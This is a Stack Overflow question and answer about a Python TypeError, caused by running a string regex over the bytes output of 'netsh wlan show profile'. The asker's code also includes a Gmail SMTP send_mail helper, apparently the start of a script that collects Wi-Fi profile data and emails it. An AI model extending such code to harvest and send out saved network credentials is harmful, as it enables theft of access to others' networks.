TypeError: cannot use a string pattern on a bytes-like object regex not getting criteria

Question

I am trying to filter using regex and it says TypeError: cannot use a string pattern on a bytes-like object. I don't know why but I think its not registring my criteria correctly here is the code.


def send_mail(email, password, message):
 server = smtplib.SMTP("smtp.gmail.com", 587)
 server.starttls()
 server.login(email, password)
 server.sendmail(email, email, message)
 server.quit()


command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names = re.search(":Profile\s*:\s(.*)", networks )

print(network_names.group(0))

score 0 · Answer 1 · answered Apr 12 '21 at 21:45

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subprocess.check_output is returning a byte string (type bytes), instead of a Unicode string (type str). To use re.search on a byte string, use a byte string for the expression:

network_names = re.search(b":Profile\s*:\s(.*)", networks )
                          ^
                          Note!

answered Apr 12 '21 at 21:45

Mark Tolonen

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ok it returns `` How to I remove all of that and only get (what i need) – An0nym0us-py Apr 12 '21 at 21:53
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@An0nym0us-py read the [`re` docs](https://docs.python.org/3/library/re.html#match-objects)... – Tomerikoo Apr 12 '21 at 21:56
I have read them and I haven't found anything about this – An0nym0us-py Apr 12 '21 at 23:30
@An0nym0us-py Try `re.findall`. – Mark Tolonen Apr 12 '21 at 23:42

TypeError: cannot use a string pattern on a bytes-like object regex not getting criteria

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